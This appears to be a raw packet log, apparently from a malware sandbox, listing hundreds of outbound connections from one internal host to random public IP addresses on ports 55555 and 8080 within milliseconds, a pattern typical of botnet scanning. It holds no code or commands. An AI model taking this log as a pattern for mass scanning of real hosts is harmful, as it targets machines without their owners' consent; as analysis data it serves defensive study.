Mar 21, 2024 05:16:52.948610067 CET	19016	55555	192.168.2.23	184.14.47.204
Mar 21, 2024 05:16:52.948621035 CET	19016	55555	192.168.2.23	98.81.30.150
Mar 21, 2024 05:16:52.948621988 CET	19016	55555	192.168.2.23	172.239.210.22
Mar 21, 2024 05:16:52.948631048 CET	19016	55555	192.168.2.23	184.25.3.216
Mar 21, 2024 05:16:52.948638916 CET	19016	55555	192.168.2.23	184.212.44.58
Mar 21, 2024 05:16:52.948649883 CET	19016	55555	192.168.2.23	172.8.234.206
Mar 21, 2024 05:16:52.948657036 CET	19016	55555	192.168.2.23	184.163.14.59
Mar 21, 2024 05:16:52.948657036 CET	19016	55555	192.168.2.23	172.192.133.168
Mar 21, 2024 05:16:52.948702097 CET	19027	8080	192.168.2.23	187.20.15.27
Mar 21, 2024 05:16:52.948704004 CET	19027	8080	192.168.2.23	189.159.221.25
Mar 21, 2024 05:16:52.948705912 CET	19027	8080	192.168.2.23	201.137.36.155
Mar 21, 2024 05:16:52.948715925 CET	19027	8080	192.168.2.23	201.103.108.206
Mar 21, 2024 05:16:52.948719978 CET	19027	8080	192.168.2.23	189.155.182.142
Mar 21, 2024 05:16:52.948724985 CET	19027	8080	192.168.2.23	189.137.137.152
Mar 21, 2024 05:16:52.948731899 CET	19027	8080	192.168.2.23	201.179.39.132
Mar 21, 2024 05:16:52.948744059 CET	19027	8080	192.168.2.23	189.135.79.125
Mar 21, 2024 05:16:52.948746920 CET	19027	8080	192.168.2.23	187.137.148.230
Mar 21, 2024 05:16:52.948746920 CET	19027	8080	192.168.2.23	201.74.210.44
Mar 21, 2024 05:16:52.948759079 CET	19027	8080	192.168.2.23	201.52.188.169
Mar 21, 2024 05:16:52.948764086 CET	19027	8080	192.168.2.23	201.55.144.31
Mar 21, 2024 05:16:52.948775053 CET	19027	8080	192.168.2.23	189.185.251.204
Mar 21, 2024 05:16:52.948776007 CET	19027	8080	192.168.2.23	201.70.188.136
Mar 21, 2024 05:16:52.948786020 CET	19027	8080	192.168.2.23	189.57.71.24
Mar 21, 2024 05:16:52.948790073 CET	19027	8080	192.168.2.23	187.253.180.13
Mar 21, 2024 05:16:52.948805094 CET	19027	8080	192.168.2.23	187.92.46.109
Mar 21, 2024 05:16:52.948805094 CET	19016	55555	192.168.2.23	172.167.234.94
Mar 21, 2024 05:16:52.948807955 CET	19016	55555	192.168.2.23	98.197.195.86
Mar 21, 2024 05:16:52.948812962 CET	19027	8080	192.168.2.23	187.72.135.42
Mar 21, 2024 05:16:52.948813915 CET	19027	8080	192.168.2.23	187.196.0.95
Mar 21, 2024 05:16:52.948822975 CET	19016	55555	192.168.2.23	184.7.173.245
Mar 21, 2024 05:16:52.948826075 CET	19027	8080	192.168.2.23	187.222.84.0
Mar 21, 2024 05:16:52.948826075 CET	19016	55555	192.168.2.23	98.116.76.98
Mar 21, 2024 05:16:52.948832035 CET	19027	8080	192.168.2.23	201.172.177.163
Mar 21, 2024 05:16:52.948832989 CET	19027	8080	192.168.2.23	189.95.161.33
Mar 21, 2024 05:16:52.948841095 CET	19016	55555	192.168.2.23	172.194.70.183
Mar 21, 2024 05:16:52.948854923 CET	19027	8080	192.168.2.23	189.245.19.144
Mar 21, 2024 05:16:52.948854923 CET	19027	8080	192.168.2.23	187.198.12.236
Mar 21, 2024 05:16:52.948856115 CET	19027	8080	192.168.2.23	201.220.106.105
Mar 21, 2024 05:16:52.948857069 CET	19027	8080	192.168.2.23	187.156.245.54
Mar 21, 2024 05:16:52.948863983 CET	19027	8080	192.168.2.23	189.172.167.210
Mar 21, 2024 05:16:52.948869944 CET	19016	55555	192.168.2.23	184.204.124.113
Mar 21, 2024 05:16:52.948872089 CET	19016	55555	192.168.2.23	172.110.21.184
Mar 21, 2024 05:16:52.948872089 CET	19027	8080	192.168.2.23	201.254.52.20
Mar 21, 2024 05:16:52.948874950 CET	19027	8080	192.168.2.23	187.37.49.1
Mar 21, 2024 05:16:52.948879004 CET	19027	8080	192.168.2.23	189.233.28.153
Mar 21, 2024 05:16:52.948892117 CET	19016	55555	192.168.2.23	184.188.113.244
Mar 21, 2024 05:16:52.948894978 CET	19027	8080	192.168.2.23	201.127.190.34
Mar 21, 2024 05:16:52.948894978 CET	19016	55555	192.168.2.23	98.135.157.90
Mar 21, 2024 05:16:52.948898077 CET	19027	8080	192.168.2.23	187.136.165.20
Mar 21, 2024 05:16:52.948896885 CET	19027	8080	192.168.2.23	189.170.94.6
Mar 21, 2024 05:16:52.948898077 CET	19027	8080	192.168.2.23	201.162.51.57
Mar 21, 2024 05:16:52.948896885 CET	19016	55555	192.168.2.23	184.84.35.142
Mar 21, 2024 05:16:52.948908091 CET	19027	8080	192.168.2.23	201.227.130.106
Mar 21, 2024 05:16:52.948909044 CET	19027	8080	192.168.2.23	189.74.62.167
Mar 21, 2024 05:16:52.948909044 CET	19027	8080	192.168.2.23	201.228.142.83
Mar 21, 2024 05:16:52.948915958 CET	19016	55555	192.168.2.23	172.9.106.108
Mar 21, 2024 05:16:52.948918104 CET	19016	55555	192.168.2.23	184.74.120.39
Mar 21, 2024 05:16:52.948920012 CET	19027	8080	192.168.2.23	187.210.175.94
Mar 21, 2024 05:16:52.948920965 CET	19016	55555	192.168.2.23	98.173.140.125
Mar 21, 2024 05:16:52.948923111 CET	19027	8080	192.168.2.23	189.107.168.35
Mar 21, 2024 05:16:52.948925972 CET	19027	8080	192.168.2.23	187.158.91.6
Mar 21, 2024 05:16:52.948925972 CET	19027	8080	192.168.2.23	189.159.166.49
Mar 21, 2024 05:16:52.948925972 CET	19016	55555	192.168.2.23	98.173.205.245
Mar 21, 2024 05:16:52.948930025 CET	19027	8080	192.168.2.23	189.228.133.254
Mar 21, 2024 05:16:52.948932886 CET	19016	55555	192.168.2.23	184.247.4.71
Mar 21, 2024 05:16:52.948932886 CET	19027	8080	192.168.2.23	189.123.184.187
Mar 21, 2024 05:16:52.948934078 CET	19027	8080	192.168.2.23	187.67.93.228
Mar 21, 2024 05:16:52.948941946 CET	19016	55555	192.168.2.23	184.45.110.108
Mar 21, 2024 05:16:52.948945045 CET	19027	8080	192.168.2.23	189.44.37.117
Mar 21, 2024 05:16:52.948951006 CET	19027	8080	192.168.2.23	187.104.122.54
Mar 21, 2024 05:16:52.948951006 CET	19016	55555	192.168.2.23	98.211.121.169
Mar 21, 2024 05:16:52.948952913 CET	19016	55555	192.168.2.23	184.177.237.129
Mar 21, 2024 05:16:52.948961973 CET	19027	8080	192.168.2.23	201.78.0.204
Mar 21, 2024 05:16:52.948971033 CET	19027	8080	192.168.2.23	187.178.239.184
Mar 21, 2024 05:16:52.948971987 CET	19027	8080	192.168.2.23	189.117.118.28
Mar 21, 2024 05:16:52.948972940 CET	19027	8080	192.168.2.23	201.119.120.34
Mar 21, 2024 05:16:52.948982954 CET	19027	8080	192.168.2.23	189.124.233.2
Mar 21, 2024 05:16:52.948985100 CET	19027	8080	192.168.2.23	201.224.116.26
Mar 21, 2024 05:16:52.948998928 CET	19027	8080	192.168.2.23	187.195.28.216
Mar 21, 2024 05:16:52.949001074 CET	19027	8080	192.168.2.23	189.235.176.168
Mar 21, 2024 05:16:52.949002028 CET	19027	8080	192.168.2.23	187.100.161.196
Mar 21, 2024 05:16:52.949014902 CET	19027	8080	192.168.2.23	187.168.240.217
Mar 21, 2024 05:16:52.949016094 CET	19027	8080	192.168.2.23	189.130.10.106
Mar 21, 2024 05:16:52.949034929 CET	19027	8080	192.168.2.23	187.56.72.14
Mar 21, 2024 05:16:52.949034929 CET	19027	8080	192.168.2.23	187.76.49.63
Mar 21, 2024 05:16:52.949038029 CET	19027	8080	192.168.2.23	201.173.205.19
Mar 21, 2024 05:16:52.949039936 CET	19027	8080	192.168.2.23	187.78.251.27
Mar 21, 2024 05:16:52.949039936 CET	19027	8080	192.168.2.23	187.253.237.119
Mar 21, 2024 05:16:52.949064016 CET	19027	8080	192.168.2.23	187.32.80.203
Mar 21, 2024 05:16:52.949068069 CET	19027	8080	192.168.2.23	187.192.81.120
Mar 21, 2024 05:16:52.949073076 CET	19027	8080	192.168.2.23	187.18.28.196
Mar 21, 2024 05:16:52.949080944 CET	19027	8080	192.168.2.23	189.186.29.143
Mar 21, 2024 05:16:52.949081898 CET	19027	8080	192.168.2.23	187.198.81.9
Mar 21, 2024 05:16:52.949090958 CET	19027	8080	192.168.2.23	187.45.1.115
Mar 21, 2024 05:16:52.949090958 CET	19027	8080	192.168.2.23	189.117.146.19
Mar 21, 2024 05:16:52.949100971 CET	19027	8080	192.168.2.23	201.238.54.158
Mar 21, 2024 05:16:52.949111938 CET	19027	8080	192.168.2.23	201.53.140.189
Mar 21, 2024 05:16:52.949111938 CET	19027	8080	192.168.2.23	187.130.163.76
Mar 21, 2024 05:16:52.949119091 CET	19027	8080	192.168.2.23	201.46.174.14
Mar 21, 2024 05:16:52.949125051 CET	19027	8080	192.168.2.23	189.17.19.54
Mar 21, 2024 05:16:52.949125051 CET	19027	8080	192.168.2.23	201.37.8.64
Mar 21, 2024 05:16:52.949136972 CET	19027	8080	192.168.2.23	201.231.200.3
Mar 21, 2024 05:16:52.949136972 CET	19027	8080	192.168.2.23	187.206.39.100
Mar 21, 2024 05:16:52.949141979 CET	19027	8080	192.168.2.23	201.208.173.87
Mar 21, 2024 05:16:52.949143887 CET	19027	8080	192.168.2.23	187.137.137.65
Mar 21, 2024 05:16:52.949152946 CET	19027	8080	192.168.2.23	187.145.53.139
Mar 21, 2024 05:16:52.949166059 CET	19027	8080	192.168.2.23	187.51.77.32
Mar 21, 2024 05:16:52.949168921 CET	19027	8080	192.168.2.23	189.10.219.147
Mar 21, 2024 05:16:52.949177980 CET	19016	55555	192.168.2.23	98.244.154.44
Mar 21, 2024 05:16:52.949178934 CET	19016	55555	192.168.2.23	184.52.232.255
Mar 21, 2024 05:16:52.949182034 CET	19016	55555	192.168.2.23	98.232.7.144
Mar 21, 2024 05:16:52.949182034 CET	19027	8080	192.168.2.23	201.132.59.133
Mar 21, 2024 05:16:52.949183941 CET	19027	8080	192.168.2.23	201.50.180.95
Mar 21, 2024 05:16:52.949187994 CET	19016	55555	192.168.2.23	98.51.126.225
Mar 21, 2024 05:16:52.949196100 CET	19016	55555	192.168.2.23	184.46.74.245
Mar 21, 2024 05:16:52.949201107 CET	19027	8080	192.168.2.23	201.84.231.101
Mar 21, 2024 05:16:52.949203014 CET	19027	8080	192.168.2.23	189.194.104.229
Mar 21, 2024 05:16:52.949204922 CET	19016	55555	192.168.2.23	172.64.115.50
Mar 21, 2024 05:16:52.949223995 CET	19027	8080	192.168.2.23	201.41.57.98
Mar 21, 2024 05:16:52.949224949 CET	19027	8080	192.168.2.23	201.174.246.48
Mar 21, 2024 05:16:52.949234009 CET	19016	55555	192.168.2.23	98.22.77.203
Mar 21, 2024 05:16:52.949242115 CET	19016	55555	192.168.2.23	184.52.147.48
Mar 21, 2024 05:16:52.949242115 CET	19016	55555	192.168.2.23	172.134.142.28
Mar 21, 2024 05:16:52.949246883 CET	19016	55555	192.168.2.23	184.159.234.255
Mar 21, 2024 05:16:52.949248075 CET	19027	8080	192.168.2.23	187.40.68.76
Mar 21, 2024 05:16:52.949248075 CET	19027	8080	192.168.2.23	187.137.118.202
Mar 21, 2024 05:16:52.949251890 CET	19016	55555	192.168.2.23	172.47.128.68
Mar 21, 2024 05:16:52.949254036 CET	19016	55555	192.168.2.23	184.187.111.28
Mar 21, 2024 05:16:52.949254036 CET	19027	8080	192.168.2.23	187.194.51.146
Mar 21, 2024 05:16:52.949259043 CET	19016	55555	192.168.2.23	172.49.77.137
Mar 21, 2024 05:16:52.949265003 CET	19016	55555	192.168.2.23	98.231.50.73
Mar 21, 2024 05:16:52.949265003 CET	19027	8080	192.168.2.23	187.220.38.36
Mar 21, 2024 05:16:52.949268103 CET	19016	55555	192.168.2.23	98.33.238.18
Mar 21, 2024 05:16:52.949286938 CET	19027	8080	192.168.2.23	189.31.232.94
Mar 21, 2024 05:16:52.949290037 CET	19027	8080	192.168.2.23	189.45.53.40
Mar 21, 2024 05:16:52.949291945 CET	19016	55555	192.168.2.23	98.46.107.247
Mar 21, 2024 05:16:52.949291945 CET	19016	55555	192.168.2.23	184.148.141.209
Mar 21, 2024 05:16:52.949292898 CET	19016	55555	192.168.2.23	184.182.50.68
Mar 21, 2024 05:16:52.949292898 CET	19016	55555	192.168.2.23	184.79.107.93
Mar 21, 2024 05:16:52.949292898 CET	19016	55555	192.168.2.23	98.141.82.244
Mar 21, 2024 05:16:52.949295044 CET	19016	55555	192.168.2.23	184.107.75.192
Mar 21, 2024 05:16:52.949295044 CET	19016	55555	192.168.2.23	172.171.114.122
Mar 21, 2024 05:16:52.949295044 CET	19027	8080	192.168.2.23	187.124.98.154
Mar 21, 2024 05:16:52.949300051 CET	19016	55555	192.168.2.23	98.185.92.248
Mar 21, 2024 05:16:52.949302912 CET	19027	8080	192.168.2.23	201.192.158.4
Mar 21, 2024 05:16:52.949304104 CET	19027	8080	192.168.2.23	187.142.4.135
Mar 21, 2024 05:16:52.949311972 CET	19027	8080	192.168.2.23	201.246.152.240
Mar 21, 2024 05:16:52.949311972 CET	19016	55555	192.168.2.23	98.171.208.42
Mar 21, 2024 05:16:52.949314117 CET	19016	55555	192.168.2.23	184.55.72.151
Mar 21, 2024 05:16:52.949314117 CET	19027	8080	192.168.2.23	189.163.12.24
Mar 21, 2024 05:16:52.949314117 CET	19016	55555	192.168.2.23	184.46.13.135
Mar 21, 2024 05:16:52.949315071 CET	19016	55555	192.168.2.23	98.50.234.183
Mar 21, 2024 05:16:52.949315071 CET	19027	8080	192.168.2.23	189.109.236.239
Mar 21, 2024 05:16:52.949315071 CET	19016	55555	192.168.2.23	172.40.132.95
Mar 21, 2024 05:16:52.949315071 CET	19027	8080	192.168.2.23	189.3.177.24
Mar 21, 2024 05:16:52.949322939 CET	19016	55555	192.168.2.23	98.181.48.200
Mar 21, 2024 05:16:52.949322939 CET	19016	55555	192.168.2.23	184.59.63.173
Mar 21, 2024 05:16:52.949323893 CET	19027	8080	192.168.2.23	189.78.222.246
Mar 21, 2024 05:16:52.949328899 CET	19027	8080	192.168.2.23	187.185.194.61
Mar 21, 2024 05:16:52.949333906 CET	19027	8080	192.168.2.23	189.203.226.42
Mar 21, 2024 05:16:52.949336052 CET	19027	8080	192.168.2.23	187.113.138.165
Mar 21, 2024 05:16:52.949340105 CET	19027	8080	192.168.2.23	201.28.109.182
Mar 21, 2024 05:16:52.949352980 CET	19027	8080	192.168.2.23	189.131.57.203
Mar 21, 2024 05:16:52.949357033 CET	19027	8080	192.168.2.23	189.50.211.168
Mar 21, 2024 05:16:52.949357986 CET	19027	8080	192.168.2.23	189.30.88.205
Mar 21, 2024 05:16:52.949357986 CET	19027	8080	192.168.2.23	189.166.247.230
Mar 21, 2024 05:16:52.949369907 CET	19027	8080	192.168.2.23	201.210.31.215
Mar 21, 2024 05:16:52.949369907 CET	19027	8080	192.168.2.23	187.182.133.127
Mar 21, 2024 05:16:52.949378967 CET	19027	8080	192.168.2.23	189.203.85.73
Mar 21, 2024 05:16:52.949383020 CET	19027	8080	192.168.2.23	187.108.130.255
Mar 21, 2024 05:16:52.949398994 CET	19027	8080	192.168.2.23	187.191.165.134
Mar 21, 2024 05:16:52.949400902 CET	19027	8080	192.168.2.23	189.84.136.181
Mar 21, 2024 05:16:52.949404955 CET	19027	8080	192.168.2.23	189.85.49.219
Mar 21, 2024 05:16:52.949404955 CET	19027	8080	192.168.2.23	201.241.89.28
Mar 21, 2024 05:16:52.949408054 CET	19027	8080	192.168.2.23	189.71.252.38
Mar 21, 2024 05:16:52.949410915 CET	19027	8080	192.168.2.23	201.184.213.148
Mar 21, 2024 05:16:52.949410915 CET	19027	8080	192.168.2.23	187.105.149.187
Mar 21, 2024 05:16:52.949410915 CET	19027	8080	192.168.2.23	201.233.250.66
Mar 21, 2024 05:16:52.949415922 CET	19027	8080	192.168.2.23	189.95.213.98
Mar 21, 2024 05:16:52.949426889 CET	19027	8080	192.168.2.23	201.154.71.144
Mar 21, 2024 05:16:52.949429035 CET	19027	8080	192.168.2.23	189.179.61.72
Mar 21, 2024 05:16:52.949440002 CET	19027	8080	192.168.2.23	201.6.131.229
Mar 21, 2024 05:16:52.949445009 CET	19027	8080	192.168.2.23	189.139.13.26
Mar 21, 2024 05:16:52.949446917 CET	19027	8080	192.168.2.23	201.178.108.117
Mar 21, 2024 05:16:52.949465036 CET	19027	8080	192.168.2.23	201.143.88.197
Mar 21, 2024 05:16:52.949465036 CET	19027	8080	192.168.2.23	189.210.186.127
Mar 21, 2024 05:16:52.949466944 CET	19027	8080	192.168.2.23	189.219.220.141
Mar 21, 2024 05:16:52.949466944 CET	19027	8080	192.168.2.23	189.161.240.64
Mar 21, 2024 05:16:52.949467897 CET	19027	8080	192.168.2.23	187.225.134.49
Mar 21, 2024 05:16:52.949467897 CET	19027	8080	192.168.2.23	187.90.237.218
Mar 21, 2024 05:16:52.949467897 CET	19027	8080	192.168.2.23	201.0.111.124
Mar 21, 2024 05:16:52.949467897 CET	19027	8080	192.168.2.23	189.145.179.163
Mar 21, 2024 05:16:52.949474096 CET	19027	8080	192.168.2.23	187.8.122.112
Mar 21, 2024 05:16:52.949474096 CET	19027	8080	192.168.2.23	187.238.84.236
Mar 21, 2024 05:16:52.949489117 CET	19027	8080	192.168.2.23	201.176.237.220
Mar 21, 2024 05:16:52.949491024 CET	19027	8080	192.168.2.23	187.55.73.183
Mar 21, 2024 05:16:52.949498892 CET	19027	8080	192.168.2.23	201.115.160.153
Mar 21, 2024 05:16:52.949498892 CET	19027	8080	192.168.2.23	201.29.17.154
Mar 21, 2024 05:16:52.949501991 CET	19027	8080	192.168.2.23	189.56.95.200
Mar 21, 2024 05:16:52.949507952 CET	19027	8080	192.168.2.23	201.31.5.77
Mar 21, 2024 05:16:52.949517965 CET	19027	8080	192.168.2.23	187.183.102.240
Mar 21, 2024 05:16:52.949522018 CET	19027	8080	192.168.2.23	187.255.63.139
Mar 21, 2024 05:16:52.949522018 CET	19027	8080	192.168.2.23	189.53.45.244
Mar 21, 2024 05:16:52.949528933 CET	19027	8080	192.168.2.23	189.214.105.110
Mar 21, 2024 05:16:52.949542999 CET	19016	55555	192.168.2.23	184.248.88.78
Mar 21, 2024 05:16:52.949543953 CET	19027	8080	192.168.2.23	189.60.83.139
Mar 21, 2024 05:16:52.949542999 CET	19027	8080	192.168.2.23	201.25.236.201
Mar 21, 2024 05:16:52.949544907 CET	19027	8080	192.168.2.23	201.85.80.99
Mar 21, 2024 05:16:52.949552059 CET	19016	55555	192.168.2.23	172.198.48.12
Mar 21, 2024 05:16:52.949553013 CET	19027	8080	192.168.2.23	201.150.31.8
Mar 21, 2024 05:16:52.949553013 CET	19016	55555	192.168.2.23	172.196.43.9
Mar 21, 2024 05:16:52.949553013 CET	19027	8080	192.168.2.23	189.3.104.10
Mar 21, 2024 05:16:52.949561119 CET	19016	55555	192.168.2.23	172.8.33.188
Mar 21, 2024 05:16:52.949573040 CET	19027	8080	192.168.2.23	201.247.65.25
Mar 21, 2024 05:16:52.949573040 CET	19027	8080	192.168.2.23	201.188.109.65
Mar 21, 2024 05:16:52.949573994 CET	19027	8080	192.168.2.23	189.84.69.201
Mar 21, 2024 05:16:52.949577093 CET	19016	55555	192.168.2.23	172.209.230.227
Mar 21, 2024 05:16:52.949577093 CET	19027	8080	192.168.2.23	201.166.234.83
Mar 21, 2024 05:16:52.949579954 CET	19016	55555	192.168.2.23	184.221.38.96
Mar 21, 2024 05:16:52.949584007 CET	19027	8080	192.168.2.23	189.74.203.42
Mar 21, 2024 05:16:52.949584961 CET	19027	8080	192.168.2.23	201.58.174.249
Mar 21, 2024 05:16:52.949584961 CET	19027	8080	192.168.2.23	201.176.97.207
Mar 21, 2024 05:16:52.949592113 CET	19027	8080	192.168.2.23	189.18.123.45
Mar 21, 2024 05:16:52.949604988 CET	19027	8080	192.168.2.23	201.38.189.27
Mar 21, 2024 05:16:52.949606895 CET	19016	55555	192.168.2.23	98.171.47.141
Mar 21, 2024 05:16:52.949609041 CET	19027	8080	192.168.2.23	201.228.228.209
Mar 21, 2024 05:16:52.949616909 CET	19016	55555	192.168.2.23	98.27.185.161
Mar 21, 2024 05:16:52.949620008 CET	19016	55555	192.168.2.23	98.189.70.66
Mar 21, 2024 05:16:52.949625015 CET	19027	8080	192.168.2.23	201.91.26.199
Mar 21, 2024 05:16:52.949640036 CET	19016	55555	192.168.2.23	184.135.214.30
Mar 21, 2024 05:16:52.949640989 CET	19027	8080	192.168.2.23	187.40.170.207
Mar 21, 2024 05:16:52.949640989 CET	19016	55555	192.168.2.23	184.149.38.161
Mar 21, 2024 05:16:52.949644089 CET	19027	8080	192.168.2.23	189.202.54.207
Mar 21, 2024 05:16:52.949644089 CET	19027	8080	192.168.2.23	187.116.93.154
Mar 21, 2024 05:16:52.949647903 CET	19016	55555	192.168.2.23	184.53.255.125
Mar 21, 2024 05:16:52.949651957 CET	19027	8080	192.168.2.23	201.11.179.43
Mar 21, 2024 05:16:52.949656963 CET	19027	8080	192.168.2.23	187.235.106.49
Mar 21, 2024 05:16:52.949662924 CET	19027	8080	192.168.2.23	201.158.5.179
Mar 21, 2024 05:16:52.949662924 CET	19027	8080	192.168.2.23	189.249.23.137
Mar 21, 2024 05:16:52.949666023 CET	19016	55555	192.168.2.23	98.150.173.107
Mar 21, 2024 05:16:52.949668884 CET	19016	55555	192.168.2.23	98.59.64.22
Mar 21, 2024 05:16:52.949676037 CET	19016	55555	192.168.2.23	98.12.190.14
Mar 21, 2024 05:16:52.949676037 CET	19027	8080	192.168.2.23	187.103.59.198
Mar 21, 2024 05:16:52.949676037 CET	19027	8080	192.168.2.23	201.230.79.49
Mar 21, 2024 05:16:52.949678898 CET	19016	55555	192.168.2.23	172.191.176.42
Mar 21, 2024 05:16:52.949697018 CET	19016	55555	192.168.2.23	172.203.175.82
Mar 21, 2024 05:16:52.949701071 CET	19027	8080	192.168.2.23	189.93.44.243
Mar 21, 2024 05:16:52.949701071 CET	19016	55555	192.168.2.23	172.82.13.185
Mar 21, 2024 05:16:52.949702024 CET	19016	55555	192.168.2.23	172.37.187.246
Mar 21, 2024 05:16:52.949702024 CET	19027	8080	192.168.2.23	187.248.202.184
Mar 21, 2024 05:16:52.949702024 CET	19027	8080	192.168.2.23	189.121.119.122
Mar 21, 2024 05:16:52.949711084 CET	19027	8080	192.168.2.23	201.20.125.151
Mar 21, 2024 05:16:52.949712992 CET	19027	8080	192.168.2.23	201.50.180.171
Mar 21, 2024 05:16:52.949712992 CET	19027	8080	192.168.2.23	187.178.126.83
Mar 21, 2024 05:16:52.949713945 CET	19027	8080	192.168.2.23	201.99.238.94
Mar 21, 2024 05:16:52.949712992 CET	19027	8080	192.168.2.23	189.24.129.39
Mar 21, 2024 05:16:52.949717045 CET	19027	8080	192.168.2.23	189.152.176.80
Mar 21, 2024 05:16:52.949719906 CET	19027	8080	192.168.2.23	201.165.248.168
Mar 21, 2024 05:16:52.949734926 CET	19027	8080	192.168.2.23	189.82.196.77
Mar 21, 2024 05:16:52.949738026 CET	19027	8080	192.168.2.23	189.105.248.21
Mar 21, 2024 05:16:52.949738026 CET	19027	8080	192.168.2.23	189.114.50.204
Mar 21, 2024 05:16:52.949757099 CET	19027	8080	192.168.2.23	187.46.28.102
Mar 21, 2024 05:16:52.949757099 CET	19027	8080	192.168.2.23	189.56.65.250
Mar 21, 2024 05:16:52.949760914 CET	19027	8080	192.168.2.23	189.210.124.30
Mar 21, 2024 05:16:52.949767113 CET	19027	8080	192.168.2.23	187.204.150.142
Mar 21, 2024 05:16:52.949774027 CET	19027	8080	192.168.2.23	201.13.168.68
Mar 21, 2024 05:16:52.949780941 CET	19027	8080	192.168.2.23	187.82.200.38
Mar 21, 2024 05:16:52.949809074 CET	19017	8080	192.168.2.23	178.161.136.124
Mar 21, 2024 05:16:52.949811935 CET	19017	8080	192.168.2.23	31.142.220.189
Mar 21, 2024 05:16:52.949820995 CET	19017	8080	192.168.2.23	14.122.251.213
Mar 21, 2024 05:16:52.949820995 CET	19017	8080	192.168.2.23	57.12.108.36
Mar 21, 2024 05:16:52.949826956 CET	19017	8080	192.168.2.23	190.33.197.175
Mar 21, 2024 05:16:52.949836016 CET	19017	8080	192.168.2.23	179.31.210.117
Mar 21, 2024 05:16:52.949836969 CET	19017	8080	192.168.2.23	178.2.140.249
Mar 21, 2024 05:16:52.949846983 CET	19017	8080	192.168.2.23	59.134.88.131
Mar 21, 2024 05:16:52.949852943 CET	19017	8080	192.168.2.23	180.118.142.5
Mar 21, 2024 05:16:52.949863911 CET	19017	8080	192.168.2.23	102.65.15.46
Mar 21, 2024 05:16:52.949865103 CET	19017	8080	192.168.2.23	37.31.223.62
Mar 21, 2024 05:16:52.949865103 CET	19017	8080	192.168.2.23	159.56.4.142
Mar 21, 2024 05:16:52.949867010 CET	19017	8080	192.168.2.23	35.42.222.184
Mar 21, 2024 05:16:52.949877977 CET	19017	8080	192.168.2.23	123.234.93.98
Mar 21, 2024 05:16:52.949878931 CET	19017	8080	192.168.2.23	144.183.78.219
Mar 21, 2024 05:16:52.949886084 CET	19017	8080	192.168.2.23	38.103.45.228
Mar 21, 2024 05:16:52.949889898 CET	19017	8080	192.168.2.23	192.10.194.181
Mar 21, 2024 05:16:52.949898005 CET	19017	8080	192.168.2.23	173.75.55.253
Mar 21, 2024 05:16:52.949904919 CET	19017	8080	192.168.2.23	24.123.216.168
Mar 21, 2024 05:16:52.949904919 CET	19017	8080	192.168.2.23	128.235.213.126
Mar 21, 2024 05:16:52.949908972 CET	19017	8080	192.168.2.23	106.241.210.233
Mar 21, 2024 05:16:52.949927092 CET	19017	8080	192.168.2.23	168.121.209.233
Mar 21, 2024 05:16:52.949927092 CET	19016	55555	192.168.2.23	172.39.166.110
Mar 21, 2024 05:16:52.949928999 CET	19016	55555	192.168.2.23	184.216.244.135
Mar 21, 2024 05:16:52.949928999 CET	19017	8080	192.168.2.23	173.166.79.0
Mar 21, 2024 05:16:52.949930906 CET	19017	8080	192.168.2.23	221.61.98.209
Mar 21, 2024 05:16:52.949934006 CET	19016	55555	192.168.2.23	172.135.216.127
Mar 21, 2024 05:16:52.949937105 CET	19017	8080	192.168.2.23	155.27.152.94
Mar 21, 2024 05:16:52.949937105 CET	19016	55555	192.168.2.23	184.45.229.65
Mar 21, 2024 05:16:52.949944973 CET	19016	55555	192.168.2.23	172.133.88.200
Mar 21, 2024 05:16:52.949956894 CET	19017	8080	192.168.2.23	85.92.18.112
Mar 21, 2024 05:16:52.949956894 CET	19017	8080	192.168.2.23	182.240.213.48
Mar 21, 2024 05:16:52.949970007 CET	19016	55555	192.168.2.23	184.109.186.70
Mar 21, 2024 05:16:52.949970961 CET	19016	55555	192.168.2.23	184.104.0.206
Mar 21, 2024 05:16:52.949973106 CET	19016	55555	192.168.2.23	184.4.143.109
Mar 21, 2024 05:16:52.949980974 CET	19017	8080	192.168.2.23	143.141.136.71
Mar 21, 2024 05:16:52.949991941 CET	19016	55555	192.168.2.23	184.45.181.159
Mar 21, 2024 05:16:52.949995995 CET	19017	8080	192.168.2.23	128.12.96.36
Mar 21, 2024 05:16:52.949996948 CET	19016	55555	192.168.2.23	184.144.47.76
Mar 21, 2024 05:16:52.949999094 CET	19016	55555	192.168.2.23	98.251.55.82
Mar 21, 2024 05:16:52.950001955 CET	19016	55555	192.168.2.23	98.220.139.79
Mar 21, 2024 05:16:52.950001955 CET	19016	55555	192.168.2.23	172.103.216.88
Mar 21, 2024 05:16:52.950004101 CET	19017	8080	192.168.2.23	193.155.149.169
Mar 21, 2024 05:16:52.950004101 CET	19016	55555	192.168.2.23	184.207.251.213
Mar 21, 2024 05:16:52.950015068 CET	19017	8080	192.168.2.23	145.177.186.105
Mar 21, 2024 05:16:52.950017929 CET	19017	8080	192.168.2.23	1.23.74.118
Mar 21, 2024 05:16:52.950017929 CET	19016	55555	192.168.2.23	184.40.73.158
Mar 21, 2024 05:16:52.950028896 CET	19016	55555	192.168.2.23	98.100.6.70
Mar 21, 2024 05:16:52.950028896 CET	19017	8080	192.168.2.23	216.195.231.207
Mar 21, 2024 05:16:52.950028896 CET	19017	8080	192.168.2.23	195.60.97.248
Mar 21, 2024 05:16:52.950035095 CET	19016	55555	192.168.2.23	172.114.90.174
Mar 21, 2024 05:16:52.950040102 CET	19016	55555	192.168.2.23	184.76.48.200
Mar 21, 2024 05:16:52.950047970 CET	19017	8080	192.168.2.23	90.107.178.24
Mar 21, 2024 05:16:52.950047970 CET	19017	8080	192.168.2.23	210.91.220.164
Mar 21, 2024 05:16:52.950052023 CET	19016	55555	192.168.2.23	172.23.120.254
Mar 21, 2024 05:16:52.950059891 CET	19017	8080	192.168.2.23	67.240.243.7
Mar 21, 2024 05:16:52.950067997 CET	19017	8080	192.168.2.23	180.1.51.250
Mar 21, 2024 05:16:52.950068951 CET	19017	8080	192.168.2.23	221.11.169.223
Mar 21, 2024 05:16:52.950094938 CET	19017	8080	192.168.2.23	43.156.129.96
Mar 21, 2024 05:16:52.950098038 CET	19017	8080	192.168.2.23	201.49.183.65
Mar 21, 2024 05:16:52.950108051 CET	19017	8080	192.168.2.23	45.101.151.199
Mar 21, 2024 05:16:52.950117111 CET	19017	8080	192.168.2.23	107.142.158.89
Mar 21, 2024 05:16:52.950124025 CET	19017	8080	192.168.2.23	217.228.0.171
Mar 21, 2024 05:16:52.950131893 CET	19017	8080	192.168.2.23	41.204.140.80
Mar 21, 2024 05:16:52.950131893 CET	19017	8080	192.168.2.23	118.4.95.41
Mar 21, 2024 05:16:52.950139999 CET	19017	8080	192.168.2.23	41.160.38.248
